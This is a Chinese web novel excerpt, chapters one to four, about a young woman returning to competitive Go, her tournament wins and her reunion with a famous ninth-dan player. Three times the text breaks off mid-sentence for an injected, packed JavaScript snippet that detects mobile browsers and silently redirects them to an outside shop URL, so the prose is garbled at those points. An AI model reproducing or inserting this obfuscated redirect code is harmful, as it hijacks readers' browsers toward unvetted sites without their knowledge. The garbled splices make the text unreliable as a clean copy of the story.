《她下围棋主打暴力净杀》 1. 岁除 “岁除杯”首日,正逢新晴。江陵市残雪未褪,一地晶莹。 杨惠子一早便赶到江陵棋院,一边拍摄快讯素材,一边帮着布置赛场。忙到九点,参赛棋手陆续入场,她终于得闲,揣着宝贝相机,歪在接待处的门边眯眼躲懒。 室外冬寒凛然,会场内却暖意融融,空调热气蒸得人昏沉。杨惠子第八次小鸡啄米的瞬间,听到一个清和低缓的女声,如晨光映雪,她霎时清醒: “您好,请问您是这里的工作人员吗?” 杨惠子眨了眨眼,看来人。 面前的女生裹一袭炭黑的长款棉服,面容瘦削素净,像瓷雕的小像一般缺乏血色,双颊上只有些许被晓风冻出的浅红。这是一张轮廓鲜明却欠缺表情的面孔,唯独一双狐狸眼狭长生动,亮得慑人。 “我不是棋院的,”杨惠子忙掏出胸前的工作牌,“我是凌风体育的记者。” 女生又问:“您知道在哪可以看到对阵名单吗?” “开幕仪式结束后才会公布抽签结果。” “岁除杯”虽是市级小赛,也有段位限制,业余4段以上才能参赛,来的都是些在各类赛事里千锤百炼的棋手,连只在体育板块跟了三年的杨惠子都对赛事流程了如指掌。 不知怎么混进来一个新人。 杨惠子忍不住问:“您是选手家长?” 话一出口她就知道不对。眼前的女生太年轻了,二十五六的样子,和自己差不多年纪,深棕色的长发简练地低扎在脑后,有些不驯顺的自然卷,使她看起来学生气十足。 女生不好意思地微微一笑,从棉服身侧的大兜里掏出参赛证:“我是来参赛的。” 杨惠子飞快地接话:“你的对手可都是些初高中小朋友哦。” 参赛证上写着女生的名字:庭见秋。很特别的姓氏。 庭见秋有些茫然,望向主席台边上:“那不是还有位老先生吗?” 一个矮小敦实的老头,穿着过紧的暗赭色西装,捧一张手汗湿润的稿纸,在主席台边来回踱着小步,像一只焦虑的鼹鼠。 杨惠子噗地乐了:“那是棋院的祁同贤祁院长,正在准备一会开幕式的致辞。” 除了祁院长,和零星几个身着江陵棋院院服的工作人员,果然只剩下家长与满脸稚气的棋手,结对做着赛前准备。 "还真是。" 杨惠子见她脸色不好,从兜里掏出一条巧克力,凑身过去塞她手里,一双滚圆笑眼里是亮晶晶的善意,小声说:“比赛加油哦。” 庭见秋眯眼一笑,道谢后离开。 “岁除杯”开幕仪式后,紧接着就是第一场比赛。杨惠子捧着相机满场跑,再没时间补觉。等第一轮比赛结束,上午的工作终于告一段落,杨惠子揉着酸痛的肩吱哇乱叫地从赛场出来,在赛场入口的接待处又见到了庭见秋。 她就站在上午自己躲懒的位置,面带疲色却有了神采。像是天公在瓷娃娃上落了点睛一笔。 “杨记者,谢谢你的巧克力。” 杨惠子笑嘻嘻地凑上去:“什么杨记者,叫我惠子小惠惠惠……第一局战果怎样?” “中盘认输了。”庭见秋淡道。声音里,表情上,都觉察不出什么情绪。 老实说,杨惠子也没想过她能赢。江陵棋院每年年初兴办“岁除杯”,以棋会友,来的都是各家棋院、棋室、道场举荐的翘楚,甚至有几个苦心孤诣的冲段少年。只把围棋当爱好的业余棋友,在这里占不到什么便宜。 能输得体面,不哭着下桌,就已经很不容易了。 杨惠子一脸见惯棋场血腥厮杀,劝慰地:“下完了就别想了,饿了吧?附近有家好吃的小炒,我请客。” 正午时分,窄小的陈妈小炒店里挤满了参赛的棋手、家长和教练,餐馆内热气腾腾,菜香浓郁,食客们却大都面色凝重,低声与同桌交流复盘。 杨惠子牵着庭见秋,歪七扭八地穿过人群,终于在一张桌子的一角寻到了两个空位,熟练地招呼跑堂点餐。 杨惠子对眼前的女生有一种无由来的亲近与好奇。可能是因为她在报导江陵市的围棋赛事的三年间,见过的同龄女性棋手屈指可数,即便有,也都是十几岁就成功定段的职业女棋手。 她也学过围棋。她知道,围棋是一条窄道,对女性尤其如此。从启蒙到高阶,有无数筛选时刻,将不够有天赋或不够坚定的女性拒之门外。 黑白子是公正的,从来不拒绝任何人,但世俗的观念不是。 作为新闻工作者,她嗅到庭见秋身上特殊的气质。她很想问问庭见秋,她什么时候开始学棋,又是什么时候升到业余高段,为什么从来没有在棋场上见过她,又为什么突然来参加这次比赛。 只是庭见秋话并不多,简单应了几句,就微低着脑袋,静静地对着桌上的菜出神。 杨惠子知道,这是棋手在心里复盘,还是不要打扰为妙。 又默默把那盘红烧河鲫鱼拉到自己面前。照她心不在焉的样子,恐怕吃鱼得卡喉咙。 * 两人将桌上的菜吃净,杨惠子送庭见秋回棋院休整。赛程一共三天,共九场,庭见秋下午还有两场恶仗,杨惠子却要去跑别的新闻了,最后一天再来。 两人在棋院门口分开,正好接杨惠子的班的男同事到了,随口问了一句这是谁。 杨惠子答:“她叫庭见秋,新面孔。” “庭见秋?”男同事吃惊道,“就是她啊,这么倒霉,第一局分到了丛遇英。” 杨惠子倒吸一口凉气。 丛遇英初段,年仅十五岁,半年前成功定段,定段后屡屡输棋,胜率大跌,祁院长就建议他回老家参加“岁除杯”。这种小规模的地方业余比赛,并不会提升丛遇英在职业棋手榜上的等级分,但能帮助丛遇英调整心态,找找感觉。 职业棋手,即便是初段,也是绝对碾压一般业余棋手的存在。对上冲段少年,顶多是没有胜算。遇上职业棋手,在七十手之前,能不溃不成军,都堪称不易。 杨惠子暗想,希望庭见秋剩下几场不要这么背了。 * 两天后的午后,杨惠子拎着大包小包又赶来江陵棋院。颁奖正好结束,她约了祁院长和几位教练、选手做采访。采了两场,杨惠子站起身来扭扭脖子,发现赛场角落里蹲着一棵炭黑色的蘑菇,长卷发披散在肩头,在会场灼眼的顶灯下,散发着淡金色的柔光。 她立马认出来大蘑菇的真身,蹦蹦跳跳地凑到跟前,戳了戳她环抱膝头的手肘。 庭见秋抬头,对她露出一个乏力的微笑。 “终于结束了,累坏了吧?下得怎么样?” 庭见秋从宽大棉服里伸出两个指头: “输了两场……” 杨惠子暗算:一日三局棋,输两场,至少还赢了一场。 “赢了六场,轮空一场。”【注:在围棋比赛中,轮空判胜。】 等等,什么? 杨惠子有点磕巴:“那那那那你……” “多亏了我第一局遇到的那个丛什么的,九场全胜,我的小分还挺高的。”【注:小分,即对手分,在胜率相同的情况下,按照对手所获得的积分计算小分,小分越高,位次越前。】 大蘑菇从地上爬起来,掸了掸耐脏棉服上沾上的灰,朝瞠目结舌的杨惠子露齿一笑,用食指和大拇指抵开棉服口袋,露出折成小方块的获奖证书和几张红色纸币: “拿了个三等奖。” “岁除杯”共设一名一等奖,两名二等奖和五名三等奖,分别有五千、两千、一千的奖金。 杨惠子惊喜地睁大眼:“太厉害了!那我能采访你一下吗?拍张照片也行。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744949|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庭见秋摇头:“我的脸见不得人的。” 可是她挺漂亮的啊。 不是那种浓艳娇媚的美,而是工笔水墨似的简净自然,纤眉长目,直鼻高挺,有一种秋月般皎洁澄澈的气质。 杨惠子有职业上的分寸感,知道采访不能强求,两人又闲聊了几句,庭见秋就说晚上还有兼职,要先离开。 送走庭见秋,正好她的下一个采访对象,头奖获得者丛遇英给她发短信,说他在休息室里,准备好接受采访了。 * 丛遇英有着一切青春期少年的怪脾气,偏偏又天赋异禀,第二次定段就凯旋,风头无两,江陵棋院挂满他的海报与横幅,他更是心高气傲。如果不是祁院长的请求,他绝不会领完奖之后还留在棋院里接受采访。 杨惠子一向知道丛遇英的脾气,不跟小孩计较,公事公办,问了几个最基础的问题。即便是这样,丛遇英还是答得很敷衍,抖着腿左顾右盼,一张生着粉刺的长脸写满不耐烦。 杨惠子在心里暗道狗屁工作,天天受气,早晚辞职—— “哎,师兄你来啦?” 丛遇英突然发出了甜美无比的声音,脸上泛出乖巧的笑容,坐姿也陡然端正,歪着身子向杨惠子背后的人打招呼。 杨惠子回头的瞬间,险些没拿住手上的录音笔。 眼前的男人身量修长,身着挺阔的黑色风衣,头发打理得一丝不苟,白皙俊俏,双眼流眄含笑,眼下一颗黑痣更显风情。除去走动的时候,能看出他的肩颈因为长期伏案行棋有些僵硬,再挑不出半点错处。 哪怕杨惠子不干体育记者这一行,也知道谢砚之九段的大名。 谢砚之是华国第一位九段女棋手谢颖的独子。他十二岁定段之后,远赴朝国学棋深造,十七岁回国,签入老牌棋队京城华一,为华一效力八年,上个月刚解约。由于显赫的家世、出众的外貌和稳健控盘的行棋风格,谢砚之一向是媒体的宠儿,被目为新一代华国围棋的希望。 七年前,当时的谢砚之五段刚满十八,在首尔“英华杯”的赛场上连胜四局,击碎朝国队主将金真敏的二十五局不败神话,率领华国队走上睽隔三年的国际领奖台之巅,一时血洗各大新闻媒体,全国各地涌现一批新开的棋院和受谢砚之鼓舞而学棋的青少年。 这不是杨惠子第一次见到谢砚之。以前在别的场合远远地见过几眼,已经觉得惊为天人,如今同在一个小房间里,谢砚之就距离她一米远…… 还带着温和谦逊的微笑向她颔首打招呼了。 杨惠子突然觉得体育记者这行她能干到退休。 “听说你夺冠了,来恭喜你,顺便你妈妈没空来接你,托我接你回家。” 他说话不疾不徐,低沉柔和。道上都说谢砚之九段是出了名的好脾气,果然名不虚传,连接小朋友回家这种事都屈尊帮忙。 “哎呀不用了师兄,我又不是小孩子,会自己坐公交车回去的。” 丛遇英扭得像一条腊肠狗。 杨惠子腹诽,没有什么比变声期的十五岁小男孩撒娇更可怕的事情了。 谢砚之倒是很受用似的,笑着问:“这几天比赛,有遇上什么好玩的对手吗?不会一点挑战都没有吧?” “被院长骗来炸鱼塘来了。”说起比赛,丛遇英又难掩狂妄,“也就第一场一个没见过的阿姨有点意思,叫什么……” 杨惠子丝滑地接话:“庭见秋。” 转念一想,庭见秋和自己差不多大,眼前高自己一个头的小兔崽子竟然叫阿姨…… 谢砚之面上的笑意一僵,转向杨惠子:“庭见秋?” 杨惠子刚一点头,谢砚之立马抽身冲出休息室。谢砚之棋如其人,处变不惊,八风不动,难得有如此急切的时候,丛遇英叫了声“师兄”,他头也没有回。 奇怪,他俩认识? 2. 重逢 谢砚之大跨步回赛场,赛场里已走得不剩什么棋手,更没有和自己年纪相仿的女生。 他又去公示赛程的公告栏边上,逐行寻找庭见秋的名字,心中暗自记下她的对手,又奔回赛场。 有些棋手的教练或家长,会在裁判允许的情况下记谱;即使没有谱,有经验的棋手也能够复原全局。【注:记谱,指在纸上棋盘标注行棋顺序。】 他太想看看,庭见秋的棋长什么样了。 正巧,庭见秋的最后一个对手还坐在原位上。熊方,一个又黑又壮的小男孩。谢砚之对他有些印象,去年他妈妈带着他来找谢砚之咨询过是否应该放弃学业、全心冲段。此时他颓然地趴在桌上,像一座伤心的三角紫菜饭团小山,把圆圆的脑袋埋在胳膊里,时不时发出小狗似的抽噎声。面前的棋盘空空荡荡,已收拾干净了。他的妈妈站在他身边,手里紧捏着记好的谱,气得语无伦次: “……再怎么样也不至于……也不至于只活了两个角!两个角!” 喔,看来庭见秋的棋,还是以前那样。 “呜呜,我中腹这条龙死了,我就想认输了……” 三角饭团满腔委屈,嚎啕大哭。 “但那个阿姨冲我笑,鼓励我,说能翻盘,让我坚持一下……” 庭见秋自幼学棋,见惯棋上厮杀,早学会了无论局势好坏,都板着一张没什么表情的脸。如果在行棋的过程中露笑脸—— 谢砚之想起十二岁的庭见秋,手捏白子将落未落时,笑得鼻子都皱起来的小狐狸模样。 ——多半是要做坏事。 “然后她就又杀了我一条龙……” 谢砚之瞥一眼三角饭团妈妈手里捏得皱巴巴的谱。庭见秋执白,领先五十目以上。也不怕给小朋友虐出心理阴影。 谢砚之只好俯身和风细雨地哄了三角饭团几句,等孩子哭够了,才向家长讨棋谱。谢砚之开口,没有家长会不答应的,三角饭团的妈妈还在家长群里帮着吆喝了几句: “谁今天和庭见秋下过棋还记了谱的?谢国手要!” 常年只有比赛资讯的大群里,一时鼎沸,有人提供棋谱,更多人在问: “庭见秋是谁?” * 庭见秋每周五、周日晚各一场家教兼职,辅导两个高中生的数学。等忙完兼职,裹着刺骨夜风骑车疾驰回江陵大学的研究生公寓,已近九点。 一开宿舍门,罗佩佩就欢天喜地地扑上来,往庭见秋手里塞了一个热水袋。她穿着棕色小熊睡衣,毛茸茸的,帽子上还有两个圆圆小耳朵,冬眠刚醒一般,身上柔软暖和,比热水袋还好用。 “怎么样!你的围棋比赛顺利吗?” 罗佩佩甜滋滋的大嗓门震得庭见秋招架不住。 庭见秋抬手揉揉罗佩佩帽子上的小圆耳朵,轻轻一笑:“拿了个三等奖,有一千块钱奖金。明天请你吃大餐,想吃什么?” “这么厉害!我要吃火锅!”罗佩佩高兴得像一棵小炮仗,噼里啪啦地响,“托老徐慧眼识珠的福,我有大餐吃咯!” 老徐是庭见秋的研究生导师,江陵大学数学系的徐潮平教授。 科研之外,老徐嗜玩,最好掼蛋,六旬老汉坚守牌桌一斗就是一通宵,在江陵大学被奉为一段传说佳话。前阵子,老徐结识了几个牌友,一问,竟然都是围棋爱好者。他早听说围棋是数学游戏,立马跃跃欲试。初学者正是玩兴最大的时候,老徐逢人就问:“你会不会下围棋?要不要和我杀两盘?” 来老徐家中汇报毕业论文进度的庭见秋也没有躲过。 庭见秋难抑心痒,不知道自己多年没有碰棋,还有没有以前的水平,布局时还有些紧张。20手之后,她开始杀棋。 40手之后,她杀疯了。 老徐下得面红耳赤,抓耳挠腮,两只褶皱老手在发愁的脸上来回揉搓,嘴上念叨着: “嚯,这棋下得有点不讲人情世故。” “你还记得我好歹手握你的毕业进度对吧?” “庭爷啊庭爷,我走亲民路线才跟着小孩们这样叫你,你是真把我当孙子。” 庭见秋一边被老徐逗得畅怀大笑,一边从棋盘上利落提子,又吃一条龙。 连输三盘,老徐被杀得没了脾气。见庭见秋素来沉稳的面孔上,竟然泛出了喜色,他心念一动,对庭见秋说: “我牌友说,最近江陵棋院要办一个叫岁除杯的比赛,业余4段以上就可以参加,还有奖金拿。” 老徐知道,庭见秋家庭困难,靠奖助学金和兼职家教的钱生活,所以平日系里接了能赚钱的项目,老徐都会喊她。 庭见秋拒绝不了奖金。 老徐试探一问:“业余4段,你总有吧?” 庭见秋眼里亮起淡淡的光: “我有。” * “岁除杯”落幕第二天,棋院的几个师兄弟张罗着给丛遇英办庆功宴。 小赛的冠军,也没什么特别值得庆祝的。丛遇英难得低调一次,选了一家人均消费并不算太高的重庆火锅,包下中午大厅里的一个大圆桌。 谢砚之不能吃辣,但架不住丛遇英死缠烂打,还是出席,一个人坐半边桌子,独享清汤锅,听着对面一群毛毛躁躁的少年棋手在辣锅里争肉,时不时抬脸笑一下。 正吃着,对面话最密的丛遇英突然一静: “诶,那不是昨天那个阿姨,谢师兄你还发动了一个妈妈群找的……” 谢砚之忙站起身。 十几年不见,他幻想过无数次这一刻,还以为自己会认不出庭见秋成年后的脸。但他一眼就确定,再明白不过—— 不远处的一张二人桌,她穿着修身的灰色高领毛衣,胸前有一枚简约的银色小坠,身后椅背上挂着一件臃肿的长款黑色棉服,全是最适宜吃火锅的、耐脏的衣服。十二岁的庭见秋是齐耳根的短发,深棕色自然卷蓬松可爱,像一只小狮子猫;如今她将头发留长了,发根正好落在腰线最细瘦处。她素着一张脸,眉眼淡然,不似行棋时的凛厉,鼻梁高挺俏丽,浅色薄唇带着若有似无的笑意。她对面坐着一个装扮精致入时的女生,正手舞足蹈地边吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744950|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边絮叨,像在说什么八卦,引得庭见秋不时低笑。 他辨不出眼前的女人和自己记忆里行棋狠辣的少女有什么太大的不同。 他只知道,她变漂亮了。 而且,他现在很紧张。 在万众瞩目中下了十几年棋,登上国际领奖台数次,他已经快忘了紧张是什么感觉。经历过围棋变幻莫测、惊心动魄的战斗的洗礼,在最艰难焦灼的灵泊地里拼杀过,一个人的心曾被胜负抛上天又坠下地无数次,相较之下,现实是如此清汤寡水,平静无波。有时他会觉得,只有在下棋时,这颗心才会悬起、跳动,自己才算活着。近年来,甚至连一般的对局都不再能引起他的兴奋感了。 此刻,在最寻常喧闹的火锅店里,热气氤氲,人声嘈杂,十三年未见的面孔正在一箭之外。他听到自己的心快速又明确地跳动,如一只破蛹而出的新蝶。 这时,丛遇英冒冒失失地隔着几桌顾客大叫:“喂——庭见秋——我师兄找你——” 庭见秋好像听见了,冷脸皱眉,扬起下巴望了一圈。 谢砚之面上不显,暗自吸气,直起身,穿过人群向庭见秋走去。丛遇英和几个凑热闹的棋手也叽叽喳喳地跟了过来。 走到庭见秋面前,近得能看见她眼瞳的淡棕色,他向庭见秋礼貌地伸出手:“我是谢砚之。” 庭见秋肉眼可见地没什么反应,半靠在椅背上,扬起下巴看他,似乎在等他的下一句话。 一旁的丛遇英从没见过谢砚之受这冷遇,大叫起来: “我师兄谢砚之,谢砚之九段没听说过?” 罗佩佩最爱跟小朋友一般见识,朝丛遇英做了个鬼脸:“我们秋秋也是六段呢,没差多少。” 庭见秋无奈地暗叹一口气。没时间跟佩佩解释职业九段和业余6段的天壤之别了,谢砚之的手还顽固地伸在自己面前。 手指纤细,骨节分明,能清晰地看出指甲因为常年练棋而形成的磨损,和指腹的薄茧。 正是因为有了这些棋手才能辨识出的伤痕,这双手才更显得好看。 庭见秋伸手轻轻与他相触,礼貌地上下晃了晃,又很快分离: “丛遇英是你的师弟?” 她鼻尖一皱,腮边两片薄软的皮肤浮起笑意,狭长上挑的眼微眯,纤长的睫羽难耐地轻颤。 谢砚之认识这个笑容。一个要做坏事的笑。 “——没想到你的师弟,也不怎么样。” * 有一瞬,谢砚之以为庭见秋认出了自己。 但很快,庭见秋略带挑衅的目光便转向气得大呼小叫的丛遇英。 “哈?手下败将,别忘了是你中盘认输!” 庭见秋从椅背上直起身来,目光灼灼:“我是下得不好,你也臭,地基不稳,外势虚浮。第154步,如果我双在十五之十五,而没有立即出头……”【注:某之某,棋盘坐标。】 丛遇英哼声道:“我不信你那块棋能活。” “是我,不信你的那块棋能活。” 庭见秋笃定沉声。 3. 复盘 庭见秋早已算清全部的变化。 她与丛遇英的对局,是一场相当凶悍的对杀局。在第135步,丛遇英的黑子贸然穿象鼻之后,黑子、白子两条长龙双双断裂,缠绕、扭杀在一起。由于四块棋各自缺少眼位,唯有吞吃对方,取得连接,才有存活的可能性。【注:穿象鼻,指当一方下出田字型的象步飞,另一方落在两子之间分断。】 丛遇英的穿象鼻凶残冒进,透着险恶的杀意,却让庭见秋一时狂喜—— 这意味着丛遇英已经认为,温吞保守的下法已经没有任何赢面,唯有拼死一搏,才有生机。丛遇英将所有的筹码,都推到了自己面前。 大胜,或大负,瞬息之间。 这是最需要长考的时刻,双方却都已用尽自己的45分钟,进入20秒读秒环节。右手侧,棋钟无声,却如心跳声一般扰动着她的思绪。 嘭嘭,嘭嘭。 …… 丛遇英怒极反笑:“你双,我十七之十四长。” “十四之十三,单关跳。” 既是长气出头,也瞄准左侧黑棋一处薄弱地带,嗣机分断。 丛遇英无视庭见秋的刺探:“十五之十四,拐头。” “十四之十四,接。” …… 两人棋势迅猛,飞快出招。围在一旁的棋手听得云里雾里,只知道,两人能如此不假思索,必然是因为棋局结束之后,两个人都做过非常细致的复盘,穷尽演算,将所有变化吃得透彻。 庭见秋虽是业余棋手,但面对憾负的棋局,有些刨根究底的精神,并不奇怪;只是他们熟知的素日里张狂不可一世的丛遇英,竟然也暗地里反复琢磨这局棋…… 两人对出二三十步,谢砚之默然走开半晌,回来时,他轻轻拍了拍斗得满脸通红的丛遇英肩膀: “这么聊没用。我买好单了,走吧,回棋院。” 丛遇英有师兄撑腰,底气十足,猛拍庭见秋的桌子,震得碗碟一颤: “走!跟我去棋院复盘!” 庭见秋刷地起身,拎起身后的外衣和提包,神情沉静,却兴奋得两手暗颤。 谢砚之转向她:“直接走吧,你的单我也买好了。” 安静吃饭的罗佩佩赶忙从锅里捞剩下的肥牛:“——哎等等再让我吃两口!” * 庭见秋和罗佩佩加入后,一行九人,打三辆车回棋院。丛遇英还想往庭见秋和罗佩佩车里钻,被谢砚之揪着衣领拽下来了。 来到棋院,九人直奔三楼棋室,寻了一张大空桌子,庭见秋和丛遇英二人相对而坐。两人虽见面就掐,此刻却不约而同互相低首致意,然后各自取过自己持方的棋碗。 复原棋局,无需思索,二人噼啪落子,很快,当日战局便重现在棋桌之上。 一旁除罗佩佩不懂棋,找了个舒服椅子划手机,时不时抻长脖子望望她看不明白的战局;其他六名棋手分站两侧,或双手抱胸,或扶着下颌,观棋不语,偶尔忍不住发出赞叹的“嘶”声。 布局阶段,丛遇英或许轻敌,接连下出缓手,庭见秋则相当稳健,抓住机会,抢占大场。丛遇英一见落后,棋势立马迅猛,杀意汹涌,争夺庭见秋尚未拿下的实地,随时准备挑起战斗。庭见秋虽然好战,在局面占优的情况下仍保持谨慎,与丛遇英杀气腾腾的黑子周旋。 ——直到白子象步飞,黑子穿象鼻。 两人在沉默中将火锅店里口头作战的一局下完。没有了读秒的限制,二人尽情长考,一旁的棋手也各自搬出棋盘尝试摆棋。一个半小时之后,庭见秋执白,将丛遇英的黑色长龙分别绞杀,单眼不活。 丛遇英神情黯淡,早没了初见庭见秋时的狂妄,连落两枚黑子,示意认输。 庭见秋却将这两枚黑子拂开,从局面上挑出数十枚黑白子,将战局复原至先前一步,沉声道: “你这里下得俗,再想,再来。” 古语有言:千古无同局。岂止历史长河中没有相同的两盘棋,一局棋也能生出无穷无尽的变数。在国际象棋中,每一步大约有35种合理的走法;而围棋有纵横十九路,每一步有超过200种走法。 木质棋盘之上,是小径分岔的花园。 两人几轮战斗之后,天色垂暮,气温渐凉,窗外一排老树梧桐,枯枝瑟瑟。 有棋手肚子饿,小声问旁人:“点个陈妈家的盒饭?” 却听丛遇英崩溃地大声接话:“不吃,吃不下!” “——你说得对,”他丧气地垂下肩膀,声音里带着挫败与疲惫,对面前的庭见秋说,“如果你不出头,而是双在这里,这局会是我中盘认输。” 然后所有人都会知道,丛遇英初段竟然败给了一个从来没见过的业余女棋手。 庭见秋不以为喜,淡声道:“比赛哪有如果,赛场上我没想清楚,输了就是输了。” 丛遇英忍不住问:“你算到这一步,花了多长时间?” “中午在陈妈小炒吃饭的时候。”庭见秋想了想,“二十分钟吧。” 有个年纪小的棋手小声嘟囔:“我就说陈妈炒菜香,吃了能长棋……” 一旁略大的棋手:“你可闭嘴吧。” 丛遇英低声道:“我那天晚上算到凌晨两点。” 庭见秋抬眼,正色看着眼前面带沮丧与稚气的少年。 他年纪还轻,看着轻狂,实则棋路灵活机变,不时有创新手筋,让人眼前一亮,对棋又肯钻研。假以时日,不像自己那样荒废,他的未来大有可为。 转瞬丛遇英已经收拾好了心情,对谢砚之说: “师兄,有什么指教吗?” 谢砚之一下午无话,安静观战,听到丛遇英发问,才俯下身,一边整棋一边向少年开口道: “布局问题很大,回去打谱时多留心,这几手太缓,盘面落后太大了。” 丛遇英边听边点头心记,又听谢砚之讲解了几处中盘能再斟酌的地方。 庭见秋也如棋院的学生一般,向前探身,专心听棋。 “至于白棋,”谢砚之向庭见秋道,“在激战中先双再单关跳,看似退缩,实则一石三鸟,非常巧妙……” 庭见秋淡色的眸子一眨不眨地望着他。 “但在我看来,从一开始,就没有必要应战。” 庭见秋心中突地一跳,丛遇英也忍不住道:“什么?那白子长龙不是全死了吗?这怎么下?” 谢砚之落手飞快,将棋面整理至那挑起战火的第135手,穿象鼻: “简单回应之后,”他捻白子落下,“你可以在右上角部作战。” 右上角部是黑子最重要的实地,却立基不稳,断点频出。谢砚之交替落下黑白子,很快,在右上角部引起一场劫争。 ——“开劫了。”一旁有棋手发出敬畏的嘘声。 一旁围观的罗佩佩嗅到情势突转,不免好奇,戳了戳身旁的方脸小棋手:“哎,我不懂啊,什么叫劫?” 方脸小棋手沉吟片刻,组织语言:“就是当两颗棋子可以互相提取对方棋子的时候,作战双方不能接连提子,被提一方必须在别处下一步,考验对手是应招,还是消劫,之后才能提子……” 佩佩:“还是听不懂。” 方脸小棋手气急:“你压根连围棋基本规则都不知道吧!” 谢砚之向棋桌上的二人解释道:“白子看似在中腹忍让,实则将乱战转变成了一个巨大的劫材库。这场打劫,要么白子连回,黑棋长龙分断双死;要么白子将长龙转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744951|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换为右上角部实地,从目数上来看,并不损。” 庭见秋低头沉思。几分钟后,她抬起头,望向谢砚之: “你下得很好,但我靠杀棋也能赢。” 谢砚之不置可否:“乱战,尤其是读秒时的乱战,随机性太大了,你不能确保你总是能够下出双这样的好手来。” 庭见秋倔强道:“我十三年没参加比赛了,不适应读秒,所以会犯错……” 丛遇英:“等等,我去,十三年没参加比赛下成这样?!” “我适应得很快,以后不会了。”庭见秋反驳,“更何况,如果20秒算不出两条大龙的生死,难道20秒能算清楚角部和大龙转换的目数?应战是险棋,开劫不也是吗?” 谢砚之耐心道:“就算不能很准确地估算出目数差,至少这是一个可接受的损失,在收官的时候可以扳回来。而在中腹作战,一旦失利,只有认输。我看了你这次比赛的五盘棋,没有一盘下到官子,全部都是中盘血战定胜负,输赢二十目以上。好战,善战,既是你的长处,也是你的薄弱之处。” 庭见秋肃然起身,冷道:“谢九段,你有你的下法,我有我的下法。你的下法能赢棋,我的也能。——佩佩,走了。” “好嘞!” 罗佩佩也拎包起身,轻快地挽住庭见秋的手臂,两人一起下楼。 瞑色灰蒙,风吹淡月,路边亮起街灯莹莹,一地婆娑树影。庭见秋中午没怎么吃,又下了一下午棋,又累又饿,半靠在罗佩佩身上,罗佩佩揽着她,叽里呱啦地惋惜中午那顿没吃饱的火锅,两人歪歪斜斜地走在人行道中。 忽听身后有人唤她:“庭见秋。” 庭见秋怔愣转身。 是谢砚之。男人长身玉立,站在不远处的路灯下。庭见秋看不清那张面孔上的神情,猜他应是一贯的温和模样,只知道连落在他脸上的阴影,都好看得不像话。 连光都眷顾他。 “庭见秋,七月的全国围棋定段赛,你来吧。”她听见他说。很慢,却很清楚。 庭见秋不语,静静地看着他。 “从这届开始,女子职业定段的年龄上限提升到25周岁了。你还有10个月满25周岁。想下棋,你只有这一次机会。” 庭见秋突然露出一个舒心畅快的笑:“我知道,我会来的。” 罗佩佩大惊:“咦,秋秋你什么时候把生日告诉他的?” 谢砚之:“我会背她的Q/Q资料。” 甚至是每一条个性签名。 虽然这些个性签名都是些围棋教室里的标语,胜不骄败不馁之类的。 “咦,你们什么时候加的Q/Q啊?!” * 两人各自走在回家的路上,分别接到了一个电话。 谢砚之接到的是丛遇英的:“师兄啊我在棋桌下面发现了一百四十三块一毛钱她什么时候放的钱我怎么没看见我说棋桌怎么好像有点不平她怎么连一毛钱硬币都带在身上……” 谢砚之想,她真的和自己算得很清楚。 而庭见秋则接到了来自家里的电话: “小秋啊,你是不是去参加围棋比赛了?你妈妈在网上搜你名字,搜到你得了个什么杯的三等奖,气得饭都不吃了!” 庭见秋心中暗叫不好。拒绝了杨惠子的采访,却忘了自己得了名次,名字难免会出现在赛事总结中。 “姨妈,你能不能跟我妈说说,不是我,是同名同姓……” “你妈只是老了点,还没糊涂,你老庭家这姓稀有到受国家保护,你妈想让你跟她姓都不行,哪冒出来的同名同姓?”姨妈在电话里一顿念,“还好一顿晚饭不吃饿不死人,反正你也快放寒假了,收拾收拾早点回家跟你妈认个错。” 4. 老鼠偷油 岁月新更又一春,迎春还是旧年人。* 大年初一,谢砚之来到小城云春,代表父母,给老家的姑伯亲戚们拜年。 一整日在几家酒席间穿梭,四处说吉祥话,比下一天棋还费神。好在亲戚们都敬重谢砚之年少有为,并不灌酒为难他,见他不擅长和长辈周旋,就把他打发下桌,让他去给弟弟妹妹下几盘指导棋。 夜里,谢砚之住在镇上旅馆。 刚洗漱完,就收到了孙建民打来的视频电话,谢砚之一边用浴巾擦刚洗完的头,一边接通: “喂,爸。” 手机上,一名瘦削的中年男性露出和煦的笑意。他棱角分明,鼻梁高挺,加上霜白的鬓发,有些不怒自威的模样,眼睛却与谢砚之如出一辙,如一枚细长桃叶,依稀能辨出年轻时倜傥多情的模样。 “家里都好,只是亲戚们都问你怎么不回家过年,就派了我一个小孩来。” 孙建民轻叹道:“正是Zen项目的关键时期,我除夕夜还一整宿泡在实验室里,把你在京城公开赛里的几盘棋跑了出来。” 